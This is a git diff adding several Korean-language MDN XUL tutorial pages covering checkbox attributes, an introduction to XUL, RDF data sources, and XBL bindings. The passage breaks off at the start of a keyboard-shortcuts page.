+<p>버튼처럼, 체크박스와 라디오 버튼들도 라벨과 이미지로 구성되며, 버튼들이 눌러졌을 때체크된 상태와 체크되지 않은 상태의 이미지가 바뀌어집니다. 체크 박스는 버튼과 많은 동일한 속성을 가집니다.</p>
+<dl>
+ <dt>
+  <code id="a-label"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/label">label</a></code> </dt>
+ <dd>
+  체크 박스나 라디오 버튼의 라벨를 설정합니다.</dd>
+ <dt>
+  <code id="a-disabled"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/disabled">disabled</a></code> </dt>
+ <dd>
+  체크 박스나 라디오 버튼을 가능 또는 불가능 하게 하기 위해서 본 속성을 <code>true</code>나 <code>false</code>로 설정하세요.</dd>
+ <dt>
+  <code id="a-accesskey"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/accesskey">accesskey</a></code> </dt>
+ <dd>
+  요소를 선택할 때 사용하는 단축키입니다. 여기에 지정된 문자는 보통 라벨에 아랫줄을 그어 출력합니다.</dd>
+</dl>
+<div class="highlight">
+ <p><span id="%EC%97%AC%EA%B8%B0%EA%B9%8C%EC%A7%80%EC%9D%98_%ED%8C%8C%EC%9D%BC_%EC%B0%BE%EA%B8%B0_%EC%98%88%EC%A0%9C"><a id="%EC%97%AC%EA%B8%B0%EA%B9%8C%EC%A7%80%EC%9D%98_%ED%8C%8C%EC%9D%BC_%EC%B0%BE%EA%B8%B0_%EC%98%88%EC%A0%9C"></a><strong>여기까지의 파일 찾기 예제</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-inputs.xul.txt">Source</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-inputs.xul">View</a></p>
+</div>
+<p>다음 섹션에서는 <a href="ko/XUL_Tutorial/List_Controls">리스트 박스 만들기</a>를 위한 몇 가지 요소들에 대해 알아볼 것입니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Adding_Labels_and_Images" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:List_Controls">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/introduction/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/introduction/index.html
new file mode 100644
index 0000000000..50308acfc9
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/introduction/index.html
@@ -0,0 +1,38 @@
+---
+title: Introduction
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Introduction
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Introduction
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:XUL_Structure">다음  »</a></p>
+</div><p></p>
+<p>이 설명서는 <abbr title="XML User Interface Language">XUL</abbr>(XML 사용자 인터페이스 언어)를 배우는 데 도움을 주기 위한 것입니다. XUL은 응용 프로그램의 사용자 인터페이스를 작성하는 데 쓰이는 크로스 플랫폼 언어입니다.</p>
+<p>이 설명서는 매킨토시의 셜록이나 윈도우의 검색 대화상자처럼 파일 찾기 기능을 갖춘 간단한 사용자 인터페이스를 만드는 방법을 설명해나갈 것입니다. 하지만 다루는 내용은 사용자 인터페이스를 만들고 몇 가지 기능을 추가하는 것으로 제한할 것입니다. 실제로 파일을 찾는 기능에 대한 설명은 제공되지 않습니다. 문서 왼쪽에 파란선이 나타나는 문단은 파일 찾기 대화상자가 수정되는 부분입니다. 이러한 문단을 따라가면 우리가 원하는 사용자 인터페이스가 완성됩니다.</p>
+<h3 id="XUL.EC.9D.80_.EB.AC.B4.EC.97.87.EC.9D.B4.EB.A9.B0_.EC.99.9C_.EB.A7.8C.EB.93.A4.EC.96.B4.EC.A1.8C.EB.8A.94.EA.B0.80.3F" name="XUL.EC.9D.80_.EB.AC.B4.EC.97.87.EC.9D.B4.EB.A9.B0_.EC.99.9C_.EB.A7.8C.EB.93.A4.EC.96.B4.EC.A1.8C.EB.8A.94.EA.B0.80.3F">XUL은 무엇이며 왜 만들어졌는가?</h3>
+<p>XUL(cool의 리듬으로 줄(zool)이라고 발음합니다)은 더 쉽고 빠르게 모질라 브라우저 개발을 하기 위해 만들어졌습니다. <abbr title="Extensible Markup Language">XML</abbr> 언어이기 때문에 XML에서 사용할 수 있는 모든 기능은 XUL에서도 사용할 수 있습니다.</p>
+<p>응용 프로그램을 개발할 때 특정 플랫폼의 기능을 사용해야 하는 경우가 많기 때문에 크로스 플랫폼 소프트웨어를 만드는 데는 많은 시간과 비용이 필요합니다. 그래서 오래 전부터 크로스 플랫폼 개발 도구가 개발되고 있습니다. 예를 들어, 자바는 이식성을 가장 큰 장점으로 내세우고 있습니다. XUL도 이식 가능한 사용자 인터페이스를 만들기 위해 고안된 언어입니다. 한 플랫폼에 맞추어 응용 프로그램을 개발하는 데에도 많은 시간이 걸립니다. 컴파일을 하고 디버그를 하는 과정이 매우 길어질 수도 있습니다. 하지만, XUL을 사용하면 빠르고 쉽게 인터페이스를 만들고 수정할 수 있습니다.</p>
+<p>XUL은 다른 XML 언어의 장점을 모두 갖추고 있습니다. 예를 들어 XHTML이나 <abbr title="Math Markup Language">MathML</abbr>, <abbr title="Scalable Vector Graphics">SVG</abbr> 같은 XML 언어를 XUL 안에 삽입할 수 있습니다. 그리고 XUL에 사용된 문구는 쉽게 현지화할 수 있기 때문에 번역 작업이 수월합니다.</p>
+<h3 id="XUL.EB.A1.9C_.EB.A7.8C.EB.93.A4_.EC.88.98_.EC.9E.88.EB.8A.94_.EC.82.AC.EC.9A.A9.EC.9E.90_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4.EB.8A.94_.EB.AC.B4.EC.97.87.EC.9D.B8.EA.B0.80.3F" name="XUL.EB.A1.9C_.EB.A7.8C.EB.93.A4_.EC.88.98_.EC.9E.88.EB.8A.94_.EC.82.AC.EC.9A.A9.EC.9E.90_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4.EB.8A.94_.EB.AC.B4.EC.97.87.EC.9D.B8.EA.B0.80.3F">XUL로 만들 수 있는 사용자 인터페이스는 무엇인가?</h3>
+<p>XUL은 다양한 기능을 제공하여 세련된 그래픽 인터페이스를 만들 수 있게 해줍니다. 예를 들어 아래와 같은 엘리먼트를 만들 수 있습니다.</p>
+<ul> <li>텍스트박스, 체크박스 같은 입력 컨트롤</li> <li>버튼 등의 기능을 갖춘 도구막대</li> <li>메뉴 막대나 팝업 메뉴에 사용되는 메뉴 항목</li> <li>탭으로 이루어진 대화상자</li> <li>상하 관계나 표를 나타내는 트리</li> <li>키보드 단축글쇠</li>
+</ul>
+<p>화면에 표시되는 내용은 XUL 파일 내부의 내용이나 데이터소스에 있는 자료를 이용하여 만들어집니다. 모질라에서는 사용자의 편지함, 북마크, 검색 결과 등도 데이터소스로 사용할 수 있습니다. 메뉴나 트리 같은 엘리먼트에 내용을 넣을 때에는 이런 자료뿐만 아니라 원하는 내용을 직접 <abbr title="Resource Description Framework">RDF</abbr> 파일로 작성하여 사용할 수도 있습니다.</p>
+<p>XUL은 다음과 같이 사용할 수 있습니다.</p>
+<ul> <li>파이어폭스 확장 기능 -- 확장 기능은 브라우저에 새로운 기능을 넣는 프로그램입니다. 확장 기능은 도구 막대나 상황 메뉴에 새로운 도구를 넣기도 하고 브라우저의 사용자 인터페이스를 변화시키기도 합니다. 이러한 작업은 XUL이 제공하는 오버레이 기능을 통해 이루어지는데, 이렇게 하면 확장 기능에 제시된 사용자 인터페이스를 파이어폭스 브라우저의 사용자 인터페이스와 합칠 수 있습니다. 확장 기능은 썬더버드 등 다른 모질라 제품에도 적용될 수 있습니다.</li> <li>독립된 XULRunner 응용 프로그램 -- XULRunner는 모질라 플랫폼을 패키지화한 것으로, 이를 이용하면 독립된 XUL 응용 프로그램을 만들 수 있습니다. 이렇게 만들어진 프로그램은 실행 파일을 갖고 있기 때문에 브라우저가 없이도 실행할 수 있습니다.</li> <li>XUL 꾸러미 -- 확장 기능과 XULRunner 응용 프로그램의 중간에 위치한 단계입니다. 확장 기능처럼 만들어지지만 독립된 창에서 실행되어 독립된 응용 프로그램처럼 작동합니다. 대용량의 XULRunner를 포함하지 않는대신, 사용자가 필요에 따라 모질라 브라우저를 설치해야 합니다.</li> <li>원격 XUL 응용 프로그램 -- XUL 코드를 웹 서버에 저장하여 브라우저에서 열게 하면 일반 웹 문서처럼 작동합니다. 하지만 다른 창을 여는 등 일부 기능은 보안과 관련된 문제 때문에 사용할 수 없습니다.</li>
+</ul>
+<p>앞의 세 가지는 실행하기 전에 사용자의 컴퓨터에 설치를 해야 합니다. 하지만, 이들은 보안과 관련된 제약이 없기 때문에 하드디스크의 파일에 접근하거나 사용자의 환경 설정을 읽고 바꾸는 것과 같은 작업도 할 수 있습니다. 확장 기능은 XUL 파일을 비롯한 스크립트, 그림 파일 등이 하나의 파일로 압축되어 제공되는데 사용자는 이를 내려 받아 설치할 수 있습니다. 파이어폭스 등의 모질라 응용 프로그램은 사용자가 손쉽게 확장 기능을 설치할 수 있도록 확장 기능 관리자를 제공합니다.</p>
+<p>XUL 파일을 하드 디스크나 웹 사이트에서 바로 열 수도 있습니다. 하지만, 이 경우에는 사용할 수 있는 기능에 제약이 있고 XUL의 일부 기능이 바르게 작동하지 않을 수 있습니다. XUL로 작성된 프로그램이 웹 사이트를 통해 열리게 하려면, 웹 서버가 XUL 파일을 "application/vnd.mozilla.xul+xml" 컨텐트 타입으로 전송하도록 설정하여야 합니다. XUL은 보통 확장자가 <code>.xul</code>인 파일에 저장됩니다. 모질라에서는 다른 파일을 열 때처럼 파일 메뉴 아래의 파일 열기를 이용하거나 주소 막대에 직접 URL을 입력하여서도 XUL 파일을 열 수 있습니다.</p>
+<h3 id=".EC.9D.B4_.EC.84.A4.EB.AA.85.EC.84.9C.EB.A5.BC_.EC.9D.BD.EA.B8.B0_.EC.9C.84.ED.95.B4_.EC.95.8C.EC.95.84.EC.95.BC.ED.95.A0_.EA.B2.83.EC.9D.80_.EB.AC.B4.EC.97.87.EC.9D.B8.EA.B0.80.3F" name=".EC.9D.B4_.EC.84.A4.EB.AA.85.EC.84.9C.EB.A5.BC_.EC.9D.BD.EA.B8.B0_.EC.9C.84.ED.95.B4_.EC.95.8C.EC.95.84.EC.95.BC.ED.95.A0_.EA.B2.83.EC.9D.80_.EB.AC.B4.EC.97.87.EC.9D.B8.EA.B0.80.3F">이 설명서를 읽기 위해 알아야할 것은 무엇인가?</h3>
+<p><abbr title="HyperText Markup Language">HTML</abbr>과 XML, <abbr title="Cascading Style Sheets">CSS</abbr>에 대한 기본적인 지식이 필요합니다. 다음 사항을 항상 기억하시기 바랍니다.</p>
+<ul> <li>XUL 엘리먼트와 속성은 반드시 소문자로 입력해야 합니다. 왜냐하면 XML은 대소문자를 구분하기 때문입니다. (HTML은 그렇지 않습니다.)</li> <li>속성값은 반드시 인용 부호 안에 입력해야 합니다. 숫자도 예외가 아닙니다.</li> <li>XUL 파일은 보통 네 파일로 나뉘어지는데, 각각 레이아웃과 엘리먼트를 정의한 파일, 스타일을 선언한 파일, 현지화에 사용되는 엔티티를 선언한 파일, 스크립트 파일입니다. 여기에 그림 파일이나 특정 플랫폼을 위한 자료가 추가될 수 있습니다.</li>
+</ul>
+<p>XUL은 모질라와 그에 바탕한 브라우저(네스케이프 6 이상 그리고 모질라 Firefox)에서 지원됩니다. XUL 구문은 오랜 시간동안 여러 변화가 있었기 때문에, 올바르게 작동할 수 있는 최신의 사례를 보았으면 할 것입니다. 대부분의 사례는 모질라 1.0 이상에서 작동합니다.</p>
+<p>파이어폭스 등의 브라우저에서 작동하는 XUL도 이와 매우 비슷하지만, 도구 막대 편집 기능 등 각 브라우저에 특화된 기능을 갖추고 있습니다.</p>
+<p>이 설명서는 XUL의 다양한 기능을 설명할 것이지만 모든 기능을 다루지는 않을 것입니다. XUL에 어느 정도 익숙해진 후에 특정 엘리먼트가 지원하는 기능들을 살펴보고 싶으면 <a href="/ko/XUL_Reference" title="ko/XUL_Reference">XUL Reference</a>를 이용하시기 바랍니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:XUL_Structure">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/introduction_to_rdf/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/introduction_to_rdf/index.html
new file mode 100644
index 0000000000..c584671798
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/introduction_to_rdf/index.html
@@ -0,0 +1,74 @@
+---
+title: Introduction to RDF
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Introduction_to_RDF
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Introduction_to_RDF
+---
+<p>이 장에서는 RDF ( Resource Description Framework )에 대해 살펴봅니다.</p>
+<h3 id="Resource_Description_Framework" name="Resource_Description_Framework">Resource Description Framework</h3>
+<p>북마크나 메일 메세지등과 같은 데이터의 집합을 표시하는 목적으로 트리 요소를 사용할 수 있습니다. 그렇지만, XUL 파일에 직접 데이터를 넣는것은 귀찮은 일입니다. 북마크가 직접 XUL 파일에 쓰여져 있다고 한다면 그 변경은 어려운 것이 됩니다. 그래서 이것을 해결하는 방법은 RDF 데이터소스를 이용하는 것입니다.</p>
+<p>RDF ( Resource Description Framework )란 북마크나 메일등의 리소스를 저장하기 위한 형식입니다. 다른 방법으로서 다른 형식의 데이터를 이용해 그 파일로부터 RDF 데이터를 생성하는 코드가 쓰여져 있는 경우도 있습니다. 이것이 Mozilla 가 북마크나 히스토리, 메일 메세지등의 데이터를 읽어들일 때 가고 있는 방법입니다. 개발자에게 편의를 도모하기 위해서 Mozilla 는 이러한 공통되어 이용되는 데이터를 위한 데이터소스를 제공합니다.</p>
+<p>Mozilla 가 제공하고 있는 어느 RDF 데이터 소스도 데이터로부터의 트리 생성에 이용할 수 있거나 데이터를 포함한 XML 로서 보존하고 있는 RDF 파일을 참조할 수도 있습니다. 이것에 의해 여러 줄이 있는 트리의 표시가 매우 편해집니다. RDF 는 리스트 박스나 메뉴등이 같은 다른 요소에 있어서의 생성에도 이용할 수 있습니다. 이것에 대해서는 다음 절에서 다룹니다.</p>
+<p>여기에서는 RDF 에 대해 아주 대략적으로 설명합니다. RDF 에 대한 자세한 안내는 RDF 모델 입문을 읽어 바랍니다. RDF 에 처음으로 접한다면 이 안내를 읽는 것을 추천합니다. RDF/XML 파일의 몇개의 예는 Mozilla 가 제공하고 있는 것을 보면 좋을 것입니다. RDF/XML 파일의 확장자(extension)는 rdf 입니다.</p>
+<p>RDF 는 그래프 구조로 표현되는 데이터의 모델로부터 됩니다. RDF/XML 는 RDF 데이터를 표현하기 위해서 이용되는 XML 언어입니다. 그것은 필요 충분한 단순한 요소로 설정 됩니다. 아래에 간단한 RDF 의 구조를 나타냅니다.</p>
+<pre>&lt;? xml version="1.0"? &gt;
+&lt;RDF:RDF
+  xmlns:RDF="http://www.w3.org/1999/02/22-rdf-syntax-ns#"&gt;
+  ...
+&lt;/RDF:RDF&gt;
+</pre>
+<p>이것은 XUL 의 헤더와 닮아 있습니다. window 요소 대신에 RDF 요소가 이용되고 있습니다. RDF 의 요소가 올바르게 인식되도록하기 위해서 RDF 의 네임스페이스가 선언되고 있는 것이 알 수 있네요. RDF 요소의 안쪽에 데이터를 기술합니다.</p>
+<p>여기에서는 RDF 에 대해 매우 간단하게 설명합니다. 보다 자세한 것은 RDF 사양을 참조해 주세요. 예로 RDF 로부터 생성되는 북마크의 리스트에 대해 보겠습니다. 북마크의 리스트는 레코드의 집합을 포함하고 있어 각각에는 URL, 타이틀, 방문일등의 일련의 데이터가 주어지고 있습니다.</p>
+<p>북마크는 얼마든지의 필드로부터 되는 거대한 테이블로서 보존되고 있는 데이타베이스의 일종이라고 생각합니다. 다만, RDF 에서는 리스트는 동시에 계층적으로도 될 수 있습니다. 이것은 북마크를 폴더 마다 정리하거나 종류별 정리하기 위해서 필요한 일입니다. RDF 데이타베이스내의 각 필드는 첨부이름의 리소스입니다. 이름은 URI 로 기술됩니다.</p>
+<p>예를 들면, Mozilla 의 북마크 리스트에 있어서의 필드의 몇개인가는 아래에 URI 로 기술되고 있습니다.</p>
+<pre>Name 	http://home.netscape.com/NC-rdf#Name 	북마크명
+URL 	http://home.netscape.com/NC-rdf#URL 	링크 URL
+Description 	http://home.netscape.com/NC-rdf#Description 	북마크의 설명
+Last Visited 	http://home.netscape.com/WEB-rdf#LastVisitDate 	최종 방문일
+</pre>
+<p>이것들은 네임스페이스명으로 얘기되는 필드명으로부터 생성됩니다. 다음 절에서는 이것들을 사용해 필드의 값을 자동 생성시키는 방식에 대해 보고 갑니다. 최종 방문일은 다른 3개의 필드와 조금 다른 네임스페이스가 되어 있는 것에 주의해 주세요.</p>
+<p>아래에 3개의 레코드와 3개의 필드를 가지는 RDF/XML 의 예를 나타냅니다.</p>
+<pre>&lt;RDF:RDF xmlns:RDF="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+         xmlns:ANIMALS="http://www.some-fictitious-zoo.com/rdf#"&gt;
+
+  &lt;RDF:Seq about="http://www.some-fictitious-zoo.com/all-animals"&gt;
+    &lt;RDF:li&gt;
+       &lt;RDF:Description about="http://www.some-fictitious-zoo.com/mammals/lion"&gt;
+         &lt;ANIMALS:name&gt;Lion&lt;/ANIMALS:name&gt;
+         &lt;ANIMALS:species&gt;Panthera leo&lt;/ANIMALS:species&gt;
+         &lt;ANIMALS:class&gt;Mammal&lt;/ANIMALS:class&gt;
+       &lt;/RDF:Description&gt;
+    &lt;/RDF:li&gt;
+    &lt;RDF:li&gt;
+       &lt;RDF:Description about="http://www.some-fictitious-zoo.com/arachnids/tarantula"&gt;
+         &lt;ANIMALS:name&gt;Tarantula&lt;/ANIMALS:name&gt;
+         &lt;ANIMALS:species&gt;Avicularia avicularia&lt;/ANIMALS:species&gt;
+         &lt;ANIMALS:class&gt;Arachnid&lt;/ANIMALS:class&gt;
+       &lt;/RDF:Description&gt;
+    &lt;/RDF:li&gt;
+    &lt;RDF:li&gt;
+       &lt;RDF:Description about="http://www.some-fictitious-zoo.com/mammals/hippopotamus"&gt;
+         &lt;ANIMALS:name&gt;Hippopotamus&lt;/ANIMALS:name&gt;
+         &lt;ANIMALS:species&gt;Hippopotamus amphibius&lt;/ANIMALS:species&gt;
+         &lt;ANIMALS:class&gt;Mammal&lt;/ANIMALS:class&gt;
+       &lt;/RDF:Description&gt;
+    &lt;/RDF:li&gt;
+  &lt;/RDF:Seq&gt;
+&lt;/RDF:RDF&gt;
+</pre>
+<p>여기에서는 각 동물( animal )에 대응해 3개의 레코드가 선언되고 있습니다. 각 RDF:Description 태그가 하나의 레코드를 나타냅니다. 각각의 레코드의 내부에는 3개의 필드： name, species, class 가 기술되고 있습니다. 모든 레코드가 같은 필드에서 구성되어 있지 않으면 안 되는 것은 아닙니다만, 그렇게 하는 편이 보다 자연스럽습니다.</p>
+<p>3개의 필드 각각 네임스페이스로서 ANIMALS 가 주어지고 있어 ANIMALS 의 URL 는 RDF 태그내에서 선언되고 있습니다. 이름은 이유가 적당하게 선택한 것만으로 있지만 무엇이든 다른 이름이라도 괜찮습니다. 네임스페이스의 이용은 class 필드가 스타일의 필드와 충돌하지 않게 하는 것에 도움이 되고 있습니다.</p>
+<p>Seq 요소와 li 요소는 레코드의 리스트를 지정하기 위해서 이용하는 것입니다. 이것은 HTML 의 리스트의 선언과 잘 닮은 것입니다. Seq 요소는 요소가 순서로 나타내질 수 있는 것을 나타냅니다. 순서를 가지지 않는 경우는 Seq 요소 대신에 Bag 요소를 이용합니다. Alt 요소를 이용하면 데이터의 각 레코드가(미러 URL 등의) 대체값을 지정하고 있는 것을 지시할 수가 있습니다.</p>
+<p>네임스페이스 URL 와 거기에 계속되는 필드명에 의해 XUL 파일내의 리소스를 참조할 수가 있습니다. 위의 예에서는 다음에 특정 필드의 참조에 이용할 수 있는 URI 가 생성됩니다.</p>
+<pre>Name 	http://www.some-fictitious-zoo.com/rdf#name
+Species 	http://www.some-fictitious-zoo.com/rdf#species
+Class 	http://www.some-fictitious-zoo.com/rdf#class
+
+</pre>
+<p>다음 절에서는 RDF 를 사용한 XUL 요소의 생성 방법에 대해 살펴봅니다.</p>
+<p><br>
+ </p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Tree_Box_Objects" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Templates">다음  »</a></p>
+</div><p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/introduction_to_xbl/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/introduction_to_xbl/index.html
new file mode 100644
index 0000000000..f6e3ddde65
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/introduction_to_xbl/index.html
@@ -0,0 +1,82 @@
+---
+title: Introduction to XBL
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Introduction_to_XBL
+tags:
+  - XBL
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Introduction_to_XBL
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Property_Files" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Anonymous_Content">다음  »</a></p>
+</div><p></p>
+<p><a href="ko/XUL">XUL</a>은 자매(sister) 언어 <a href="ko/XBL">XBL</a> (eXtensible Bindings Language)이 있습니다. 이 언어는 XUL 위젯의 behavior를 선언하는데 쓰입니다.</p>
+<h3 id=".EB.B0.94.EC.9D.B8.EB.94.A9" name=".EB.B0.94.EC.9D.B8.EB.94.A9">바인딩</h3>
+<p>어플리케이션 사용자 인터페이스의 레이아웃을 정의하기 위해 XUL을 쓸 수 있습니다. 요소에 <a href="ko/XUL_Tutorial/Adding_Style_Sheets">스타일을 적용하여</a> 입맛대로 모양(look)을 바꿀 수 있습니다. 또한 스타일을 바꿔 <a href="ko/XUL_Tutorial/Creating_a_Skin">새 스킨을 만들</a> 수 있습니다.</p>
+<p><a href="ko/XUL_Tutorial/Scroll_Bars">스크롤 바</a>와 <a href="ko/XUL_Tutorial/Input_Controls#Checkboxes_and_Radio_Buttons">체크 박스</a> 같은 요소 모두의 기본 겉모양은 스타일 조정(adjust)이나 요소에 속성을 주어 수정해도 좋습니다. 그러나, XUL은 요소가 작동하는 법을 바꿀 수 있는 수단은 제공하지 않습니다. 예를 들면, 스크롤 바 막대가 기능하는 법을 바꾸고 싶을지도 모릅니다. 이를 이해서는, <a href="ko/XBL">XBL</a>이 필요합니다.</p>
+<p>XBL 파일은 바인딩 집합을 포함합니다. 각 바인딩은 XUL 위젯의 behavior를 기술합니다. 예를 들면, 바인딩은 스크롤 바에 부착될지도 모릅니다. behavior는 스크롤 바를 만드는 XUL 요소 기술뿐만 아니라 속성(property)과 메소드도 기술합니다.</p>
+<p>XUL처럼 XBL도 XML 언어입니다. 그래서 비슷한 구문 규칙이 있습니다. 다음 예는 XBL 파일의 기본 뼈대(skeleton)를 보입니다.</p>
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;bindings xmlns="http://www.mozilla.org/xbl"&gt;
+  &lt;binding id="binding1"&gt;
+    &lt;!-- content, property, method and event descriptions go here --&gt;
+  &lt;/binding&gt;
+  &lt;binding id="binding2"&gt;
+    &lt;!-- content, property, method and event descriptions go here --&gt;
+  &lt;/binding&gt;
+&lt;/bindings&gt;
+</pre>
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/bindings" title="bindings">bindings</a></code></code> 요소는 XBL 파일의 루트 요소고 하나 이상의 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/binding" title="binding">binding</a></code></code> 요소를 포함합니다. 각 <code><code><a href="/ko/docs/Mozilla/Tech/XUL/binding" title="binding">binding</a></code></code> 요소는 단일 바인딩으로 선언합니다. <code><code id="a-id"><a href="https://developer.mozilla.org/ko/docs/Mozilla/Tech/XUL/Attribute/id">id</a></code></code> 속성은 위 보기처럼 바인딩을 식별하기 위해 쓰일 수 있습니다. 템플릿에는 두 바인딩이 있습니다. 하나는 <code>binding1</code>으로 부르고 다른 하나는 <code>binding2</code>입니다. 하나는 스크롤 바에 다른 하나는 메뉴에 부착될지도 모릅니다. 바인딩은 어떤 XUL 요소에도 부착할 수 있습니다. CSS 클래스를 쓰면, 필요에 따라 많은 다양한 바인딩을 쓸 수 있습니다. 이것은 XBL 구문을 써서 선언합니다.</p>
+<p>바인딩 파일의 URL에 CSS 속성(property) <code><a href="ko/CSS/-moz-binding">-moz-binding</a></code>을 주어 요소에 바인딩을 할당합니다. 예를 들면,</p>
+<pre>scrollbar {
+    -moz-binding: url('chrome://findfile/content/findfile.xml#binding1');
+}
+</pre>
+<p>URL은 파일 '<a class="external" rel="freelink">chrome://findfile/content/findfile.xml</a>' 안 id가 'binding1'인 바인딩을 가리킵니다.</p>
+<p>'#binding1' 구문은 HTML 파일에서 앵커(anchor)를 가리키는 것처럼 특정 바인딩을 가리키는데 쓰입니다. 보통 파일 하나에 바인딩을 전부 둘 겁니다. 이 예에서 결과는 모든 스크롤바 요소가 바인딩 'binding1'에 기술한 behavior를 지닐 겁니다.</p>
+<p>바인딩은 선언하는 다섯 가지 종류가 있습니다.</p>
+<ol>
+ <li>컨텐트: 바인딩이 바운드되는 요소에 더하는 자식 요소.</li>
+ <li>속성: 요소에 더하는 속성. 스크립트로 접근할 수 있습니다.</li>
+ <li>메소드: 요소에 더하는 메소드. 스크립트에서 호출할 수 있습니다.</li>
+ <li>이벤트: 요소가 반응할 마우스 클릭과 키누름 같은 이벤트. 바인딩은 기본 처리(handling)를 제공하는 스크립트를 더할 수 있습니다. 게다가 새 이벤트를 정의할 수도 있습니다.</li>
+ <li>스타일: XBL이 정의한 요소의 사용자 정의 스타일 속성.</li>
+</ol>
+<h3 id=".EB.B0.94.EC.9D.B8.EB.94.A9_.EC.98.88.EC.A0.9C" name=".EB.B0.94.EC.9D.B8.EB.94.A9_.EC.98.88.EC.A0.9C">바인딩 예제</h3>
+<p><code><code><a href="/ko/docs/Mozilla/Tech/XUL/box" title="box">box</a></code></code>는 사용자 정의 위젯을 만드는데 쓸 수 있을 만큼 충분히 일반적(generic)입니다(비록 어떤 요소라도 쓸 수 있지만). <code><code><a href="/ko/docs/Mozilla/Tech/XUL/box" title="box">box</a></code></code> 태그에 <code>class</code>를 할당하여 바인딩을 오직 그 클래스에 속하는 상자에 관련지을 수 있습니다. 다음 예가 이를 보입니다.</p>
+<pre class="eval"><b>XUL (example.xul):</b>
+
+&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="<a class="external" rel="freelink">chrome://global/skin/</a>" type="text/css"?&gt;
+&lt;?xml-stylesheet href="<a class="external" rel="freelink">chrome://example/skin/example.css</a>" type="text/css"?&gt;
+
+&lt;window xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+  &lt;box class="okcancelbuttons"/&gt;
+&lt;/window&gt;
+
+<b>CSS (example.css):</b>
+
+box.okcancelbuttons {
+    -moz-binding: url('<a class="external" rel="freelink">chrome://example/skin/example.xml#okcancel'</a>);
+}
+
+<b>XBL (example.xml):</b>
+
+&lt;?xml version="1.0"?&gt;
+&lt;bindings xmlns="<span class="nowiki">http://www.mozilla.org/xbl</span>"
+         xmlns:xul="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+  &lt;binding id="okcancel"&gt;
+    &lt;content&gt;
+      &lt;xul:button label="OK"/&gt;
+      &lt;xul:button label="Cancel"/&gt;
+    &lt;/content&gt;
+  &lt;/binding&gt;
+&lt;/bindings&gt;
+</pre>
+<p>이 예는 상자 하나가 있는 창을 만듭니다. 상자는 <code>okcancelbuttons</code>의 <code>class</code>가 있게 선언되었습니다. 파일과 관련 있는 스타일 시트는 <code>okcancelbuttons</code> 클래스가 있는 상자가 XBL 파일에 정의한 특수 바인딩을 갖는다고 말합니다. <code><code><a href="/ko/docs/Mozilla/Tech/XUL/box" title="box">box</a></code></code> 말고도 다른 요소, 심지어 사용자 정의 테그를 쓸지도 모릅니다.</p>
+<p>다음 절에서 XBL의 세부 부분을 더 살펴보겠습니다. 그러나, 간략히 말하면 상자 안에 자동으로 버튼 2개(확인 버튼과 취소 버튼)를 더하게 합니다.</p>
+<p>다음 절에서는, <a href="ko/XUL_Tutorial/Anonymous_Content">XBL로 컨텐트 만들기</a>를 보겠습니다.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/XUL_Tutorial:Property_Files" style="float: left;">« 이전</a><a href="/ko/docs/XUL_Tutorial:Anonymous_Content">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/keyboard_shortcuts/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/keyboard_shortcuts/index.html
new file mode 100644
index 0000000000..2b383d0c88
--- /dev/null
+++ b/files/ko/mozilla/tech/xul/xul_tutorial/keyboard_shortcuts/index.html
@@ -0,0 +1,384 @@
+---
+title: Keyboard Shortcuts
+slug: Mozilla/Tech/XUL/XUL_Tutorial/Keyboard_Shortcuts
+tags:
+  - XUL
+  - XUL_Tutorial
+translation_of: Archive/Mozilla/XUL/Tutorial/Keyboard_Shortcuts
+---
+<p> </p>
+
+<p></p><div class="prevnext" style="text-align: right;">
